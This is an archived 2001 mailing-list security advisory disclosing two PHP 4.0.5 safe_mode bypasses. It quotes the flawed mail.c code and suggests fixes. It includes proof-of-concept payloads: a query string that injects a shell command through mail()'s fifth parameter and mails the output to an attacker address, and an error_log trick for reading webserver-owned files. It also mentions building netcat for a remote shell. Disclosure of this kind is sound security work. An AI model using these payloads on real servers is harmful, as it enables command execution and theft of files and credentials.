php breaks safe mode

From: Joost Pol (joostat_private)
Date: Sat Jun 30 2001 - 03:40:06 PDT

  • Next message: Linux Mandrake Security Team: "MDKSA-2001:062 - samba update"

    Laberatoire Contempt 
    
    Date     : 12/06/2001
    Author   : Joost Pol alias 'Nohican' (joostat_private)  
    Impact   : Minor in most cases. 
    
    Subject  : PHP safe_mode troubles. 
    
    1. PHP Version 4.0.5 breaks safe-mode.
    
     1.0 - Description of the problem
     
      An extra 5th parameter was added to the mail() command breaking safemode:
    
      - snippet of the code in mail.c (lines 156-165)
    
      if (extra_cmd != NULL) {
       	sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
       	strcpy (sendmail_cmd, sendmail_path);
           	strcat (sendmail_cmd, " ");
           	strcat (sendmail_cmd, extra_cmd);
           	} else {                                                                         	sendmail_cmd = sendmail_path;                                           }
           	sendmail = popen(sendmail_cmd, "w");                                   }  }         	
    	
      - end of code snippet
    
      The popen() function is the C library function popen(3).
    
      An attacker could easily upload a simple evil.php script containing:
    
      <? mail("foo@bar,"foo","bar","",$bar); ?> 
    
      Then the script could be invoked using a simple query like:
    
      http://foo.com/evil.php?bar=;/usr/bin/id|mail evilat_private
    
     1.1 Impact
    
      Well, first of all it renders an important part of safe_mode useless.
    
      Two examples come to mind:
    
       1.1.1 Example 1
    
        A customer has bougt some web space from a provider and is given only
        ftp access to upload his files. The customer is not supposed to have
        shell access nor view files outside of his home directory.
    
        The customer could easily upload and compile a "lite" version of the 
        popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make install)	    and spawn him self a remote shell on the hosting boxen.
    
        If something like suexec is not used by the provider, the shell spawned
        could in fact be a "nobody" (uid of webserver) shell. This could make
        the situation even worse.
    
        Situations where (virtual) hosting machines are used in a host-based
        authentication scheme, i am not even willing to *consider*. 
    
       1.1.2 Example 2
    
        A customer has bought some web space from a provider and was given
        a shell account on the hosting boxen. 
    
        If something similiar to suexec is not running the customer could spawn
        him self a nobody (www, web, uid of webserver) shell. (1.1.1)
    
        The impact of this varies on a per setup/provider basis.
    
        Most providers just dont *expect* someone to have a shell with the uid
        of the webserver on the hosting box. 
    
        "Internal" scripts, database schemes and database password are commonly
        (but sadly) left owned by the uid/gid of the webserver. These become
        vulnerable.
    
        Even webserver configuration files (httpd.conf) and *complete* webserver
        roots owned by the uid/gid of the webserver have been observed in
        the wild.
    
        Experience learns that when unexepected-nobody access is gained on a
        (virtual) hosting machine "bad" things are bound to happen sooner or later.
    
     1.2 - Solution
    
       Well, obviously just a "slip" of the PHP-team. 
    
       5th argument to mail() should not be honored in safe_mode. (MHO)
    
    	
    2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
    
    
     2.0 - Description of the problem
      
      PHP safe_mode has the nice feature of disallowing the opening/reading
      and writing to files that are not owned by the uid that the script
      is owned by.
    
      Though using some "common sense" it still is possible to open/read 
      and write to files that are owned by the uid the webserver is
      running as.
    
      *notice* assuming that something like suexec is not in place */notice*
    
      An attacker could upload a simple script that does the following:
    
      <? 
      	$cmd = '<? showsource($foo); ?>';
    	error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
      ?>
    
      For example, assuming that the error_log is owned by the webserver it
      could be read using a simple query:
    
      http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
    
     2.1 - Impact
    
      Depends on the setup of the hosting box.
    
      If suexec or something similiar is used, impact is nihil.
    
      See also 1.1.1/1.1.2
    
     2.3 - Solution
    
      Disallow the changing of the error_log location in safe_mode?
    
      Not really for me to say, the PHP-team will come with something good.
    
      Notice: just changing the error_log function wont do, you could also
              change the ini setting error_log (or another ini setting 
    	  that has a similiar effect).
    
    	  These ini settings can be set from a user script since they
    	  all have PHP_INI_ALL perimissions.
    
    	  Maybe disallow setting of ini variables in safemode?
    
    EOF
    
    -- 
    Joost Pol alias 'Nohican' <joostat_private> PGP 584619BD
    PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
    Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
    



    This archive was generated by hypermail 2b30 : Sun Jul 01 2001 - 23:35:12 PDT